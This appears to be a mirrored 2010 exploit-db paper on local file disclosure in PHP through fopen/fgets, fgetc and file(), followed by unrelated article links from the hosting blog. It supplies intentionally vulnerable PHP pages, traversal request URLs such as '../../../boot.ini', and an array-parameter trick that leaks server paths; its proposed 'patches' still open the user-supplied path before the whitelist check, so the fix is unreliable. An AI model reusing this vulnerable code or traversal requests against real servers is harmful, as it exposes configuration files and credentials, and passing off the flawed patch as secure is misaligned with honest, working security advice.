File(),Fgets(),Fgetc() Local File Disclosure (LFD) Paper

简介: http://www.exploit-db.com/exploits/11497 /*!--------------------------------------------------...

http://www.exploit-db.com/exploits/11497

 

/*!----------------------------------------------------------*/
/*! File(),Fgets(),Fgetc() Local File Disclosure (LFD) Paper */                        
/*! Author   : hexon 				             */                             
/*! Tested On: Windows XP Home Edition SP2 & SP3             */
/*! Contact  : hkhexon@gmail.com                             */       
/*! Date     : 19th January 2010                             */   
/*!----------------------------------------------------------*/

=======
Preface
=======

As you can see , this is a paper about Local File Disclosure (LFD) , you may have asked that why did I wrote this paper as there are people who also contributed in this method like: 

Malaysian Script Kiddy(as requested) Ahlspiess - file_get_contents() , readfile()
Romanian Hacker Sirgod - file_get_contents(),readfile() 
Lebanon Hacker Moudi - readfile()  
French(if not mistaken) Hacker 599eme Man - readfile()

and now

(Unknown) Pentester Hexon - File() , Fgets() , Fgetc()

Well, since they had introduced those LFD methods,I will introduce another method which is very unlikely to happen but may still happen(but it also applies to the methods shown by the other four person).

NOTE : I do not hold any responsibility on what you do after learning the skills available at my paper.

=====
Intro
=====

Local File Disclosure is a flaw where the attacker can read the source codes of a particular file on the webserver.With the application of directory transversal skiil,Attackers can read important files like config.php where important information like usernames,passwords are stored and attackers can perform attacks on the webserver. 

=====================
Proof Of Concept(POC)
=====================

A Proof Of Concept(POC) would be needed to to prove that my theory does work. 

NOTE : You will need a webserver to read php codes so install a webserver like xampp (http://www.apachefriends.org/en/xampp.html).

Open a text editor and copy paste the codes. 

PUT ALL THE FILES AT the specified folder like /www/ at vertigo or /htdocs/ at xampp. 

=======
fgets()
=======

Save the following codes as fgets.html

/*! Code Start */

<html>
<title>
Fgets() POC
</title>
<form action = "fgets.php" method = "get" />
fgets() vulnerability <br />
<input type="text" name="fgets" />
<input type="submit" />
</form>
</html>

/*! End Code */

Save the following codes as fgets.php

/*! Code Start */

<?php

$vuln = fopen($_GET['fgets'],"r+") or exit("unable to open the specified file"); // vulnerable code
/* 
you can use "r", instead of "r+" but not "w","w+" as it clears the file , as well as "a","a+","x",and"x+" as they are not for file reading.
*/

while(!feof($vuln))
{
echo fgets($vuln) . "<br />";
}

fclose($vuln);

?>

/*! End Code */

=======
fgetc()
=======

Save the following codes as fgetc.html

/*! Code Start */

<html>
<title>
Fgetc() POC
</title>
<form action = "fgetc.php" method = "get" />
fgetc() LFD vulnerabiliy <br />
<input type="text" name="fgetc" />
<input type="submit" />
</form>
</html>

/*! End Code */

Save the following codes as fgetc.php

/*! Code Start */

<?php

$vuln = fopen($_GET['fgetc'],"r+") or exit("unable to open the specified file");  // vulnerable code

/* 
you can use "r", instead of "r+" but not "w","w+" as it clears the file , as well as "a","a+","x",and"x+" as they are not for file reading.
*/

while(!feof($vuln))
{
echo fgetc($vuln);   // NOTE : fgetc() is not suitable to read big files.
}

fclose($vuln);

?>

/*! End Code */

======
file()
======

Save the following codes as file.html

/*! Code Start */

<html>
<title>
File() POC
</title>
<form action = "file.php" method = "get" />
file() POC <br />
<input type="text" name="file" />
<input type="submit" />
</form>
</html>

/*! End Code */

Save the following codes as file.php

/*! Code Start */

<?php

$vuln =file($_GET['file']);  // the vulnerable code

print_r($vuln);     // print_r is used as print_r is used to output values of array.

?>

/*! End Code */

============
Exploitation
============

NOTE : Make sure that your apache server is running and the files are at the right location.

Try to open the fgets.html at your browser (do not open it directly by clicking at the file)

Example:

http://localhost/test/fgets.html

Method:
A textbox will appear and type the "filename" with "extension" that you want to read at it and click "Submit".

The method is the same for the other two.

Example:

http://localhost/test/fgetc.html

http://localhost/test/file.html

just put the filename and click Submit.

After you click Submit, you will be redirected to the fgets.php/fgetc/php/file.php(depending on which did you use)

Example :

http://localhost/test/fgets.php?fgets=filename.extension

http://localhost/test/fgetc.php?fgetc=filename.extension

http://localhost/test/file.php?file=filename.extension

====================
Further Exploitation
====================

Skills Required : Directory Transversal(compulsary),Full Path Disclosure(FPD) or even Partial Function Disclosure(PFD)(optional)

=====================
Directory Transversal
=====================

We can read files from other folders with the application of Directory Transversal technique.

By applying "../" , we can locate files at parent folder to read.

Example:

http://localhost/test/fgets.php?fgets=../filename.extension

http://localhost/test/fgetc.php?fgetc=../filename.extension

http://localhost/test/file.php?file=../filename.extension

We can read other folders by increasing the "../".

Example of a exploitation with directory transversal (Only for Windows):

http://localhost/test/fgets.php?fgets=../../../boot.ini

http://localhost/test/fgetc.php?fgetc=../../../boot.ini

http://localhost/test/file.php?file=../../../boot.ini

NOTE : There are a lot of files that you can read , use your imaginary skills.

===========================
Partial Function Disclosure
===========================

We can apply Partial Function Disclosure(PFD) Skill which is by adding a [] infront of "=" to make the name as a array.

http://localhost/test/fgets.php?fgets[]=

http://localhost/test/fgetc.php?fgetc[]=

http://localhost/test/file.php?file[]=

This will cause an error as it is not an array and the directory of the folder will be revealed (in the error) .

Example: (fgets.php is used)

http://localhost/test/fgets.php?fgets[]=

Warning: fopen() expects parameter 1 to be string, array given in I:/xampp/htdocs/test/fgets.php on line 3

I will not discuss on how to fix it as it is quite irrelevant , maybe I will include it in my next paper.

========
POC Test
========

This POC has been tested by me and Ahlspiess on Windows XP SP2 and SP3 but I do believe it works on all types of OS.

=====
Patch
=====

Since we have a way to exploit it , there must be a way to patch it.

This is a section for webdevelopers/webmasters as well as pentesters who do not know about this flaw. 

Apparently, I have two ways of patching it.

=======
Primary
=======

REMOVE IT !! Most web applications do not need to allow file read function as it is usually not used.
Webmasters can read source codes of the files without using those functions.

=========
Secondary
=========

If you insist on not removing it , then use switch or if logical statements to limit users from reading important files.But in this case , I will use switch as switch is more suitable for this.

Edit the codes or make a new file and delete the old ones.

=========
fgets.php
=========

/*! Code Start */

<?php

$vuln = fopen($_GET['fgets'],"r+") or exit("unable to open the specified file"); 
/* 
you can use "r", instead of "r+" but not "w","w+" as it clears the file , as well as "a","a+","x",and"x+"
*/
switch($_GET['fgets'])            // switch is added to filter user input
{
case 'a.html':                    // any filename would be appropriate.
case 'b':                         // any filename would be appropriate.
case 'd.php':                     // any filename would be appropriate.
case 'filename.extension':        // any filename would be appropriate. 

while(!feof($vuln))
{
echo fgets($vuln) . "<br />";
}

fclose($vuln);
break;

default:                          // for those who read files not in the list
echo "You do not have the permission to read this specific file";
}
?>

/*! End Code */

=========
fgetc.php
=========

/*! Code Start */

<?php

$vuln = fopen($_GET['fgetc'],"r+") or exit("unable to open the specified file");

/* 
you can use "r", instead of "r+" but not "w","w+" as it clears the file , as well as "a","a+","x",and"x+"
*/

switch($_GET['fgetc'])                    // switch is added to filter user input
{
case 'a.html':                          // any filename would be appropriate.
case 'b':                               // any filename would be appropriate.
case 'd.php':                           // any filename would be appropriate.
case 'filename.extension':              // any filename would be appropriate.

while(!feof($vuln))
{
echo fgetc($vuln) ." ";
}

fclose($vuln);
break;

default:                                // for those who read files not in the list
echo "You do not have the permission to read this specific file";
}


?>

/*! End Code */

========
file.php
========

/*! Code Start */

<?php

$vuln =file($_GET['file']);            // the vulnerable code

switch($_GET['file'])                  // switch is added to filter user input
{
case 'a.html':                         // any filename would be appropriate.
case 'b':                              // any filename would be appropriate.
case 'd.php':                          // any filename would be appropriate.
case 'filename.extension':             // any filename would be appropriate.

print_r($vuln);                        // print_r is used as print_r is used to output values of array.
break;

default:                               // for those who read files not in the list
echo "You do not have the permission to read this specific file";
}

?> 

/*! End Code */

======
Greetz
======

/*! My mind , feel free to contact me if you have something to ask/contribute */
/*! Ahlspiess for testing my LFD theory and give ideas eventhough I didn't used it*/
/*! w3schools(www.w3schools.com/)*/

 

目录
相关文章
|
存储 编译器 C语言
【C语言】判断字符类型的三种方法
【C语言】判断字符类型的三种方法
735 0
|
机器学习/深度学习 分布式计算 并行计算
当 Mars 遇上 RAPIDS:用 GPU 以并行的方式加速数据科学
在数据科学世界,Python 是一个不可忽视的存在,且有愈演愈烈之势。而其中主要的使用工具,包括 Numpy、Pandas 和 Scikit-learn 等。 Mars 在 MaxCompute 团队内部诞生,它的主要目标就是让 Numpy、pandas 和 scikit-learn 等数据科学的库能够并行和分布式执行,支持通过 RAPIDS 平台用 GPU 加速数据科学。
2307 0
当 Mars 遇上 RAPIDS:用 GPU 以并行的方式加速数据科学
|
存储 弹性计算 固态存储
阿里云服务器是如何收费的?阿里云服务器各收费项目收费标准参考
阿里云服务器收费标准包括实例价格、预留实例券价格、专有宿主机、块存储价格、存储容量单位包、带宽价格、快照服务价格等,云服务器价格主要由云服务器配置费用+磁盘价格+网络宽带价格,配置指的是云服务器的实例规格和cpu与内存配置,本文为大家分享一下2023年阿里云服务器所有收费项目的最新收费标准,以表格形式展示给大家,以供参考。
阿里云服务器是如何收费的?阿里云服务器各收费项目收费标准参考
|
消息中间件 缓存 NoSQL
Redisson实现简单消息队列:优雅解决缓存清理冲突
在项目中,缓存是提高应用性能和响应速度的关键手段之一。然而,当多个模块在短时间内发布工单并且需要清理同一个接口的缓存时,容易引发缓存清理冲突,导致缓存失效的问题。为了解决这一难题,我们采用Redisson的消息队列功能,实现了一个简单而高效的消息队列,优雅地解决了缓存清理冲突问题。本文将为您详细介绍Redisson实现简单消息队列的方案,以及如何在项目中使用它来优化缓存清理。
644 0
Redisson实现简单消息队列:优雅解决缓存清理冲突
|
图形学
Unity 模型中心点偏移问题解决方法
Unity 模型中心点偏移问题解决方法
1465 1
Unity 模型中心点偏移问题解决方法
|
缓存 Java 微服务
OpenFeign的集成与优化
OpenFeign的集成与优化
2429 0
|
机器学习/深度学习 PyTorch 算法框架/工具
PyTorch 深度学习实践 GPU版本B站 刘二大人第11讲卷积神经网络(高级篇)GPU版本
PyTorch 深度学习实践 GPU版本B站 刘二大人第11讲卷积神经网络(高级篇)GPU版本
|
机器学习/深度学习 数据采集 弹性计算
阿里云服务器多种登录方法
介绍了如何使用网页、putty客户端、jupyter远程来登录服务器。还有不到2元租到RTX2070+155G内存+40核CPU的服务器
阿里云服务器多种登录方法
|
消息中间件 SQL 缓存
2万字聊聊什么是秒杀系统(中)
大家好,我是Leo 之前我们介绍了秒杀系统的五大原则,动静分离方案,二八原则,冷热处理的一些理论方案。今天我们接着上一篇,继续介绍一下大并发流量打过来之后,我们如何做一些削峰处理以及服务端的一些优化技巧。
2万字聊聊什么是秒杀系统(中)
|
弹性计算 运维 Windows
ECS运维神器 之 阿里云云助手
1. 什么是云助手?  阿里云云助手,简称 云助手,是一个可以自动、批量执行日常维护任务的轻量便捷运维工具。 云助手所做的工作非常简单:通过对实例批量执行预设的 Bat/PowerShell/Shell 脚本或某些运维动作,来达到自动化管理云上ECS资源的目的。
9853 14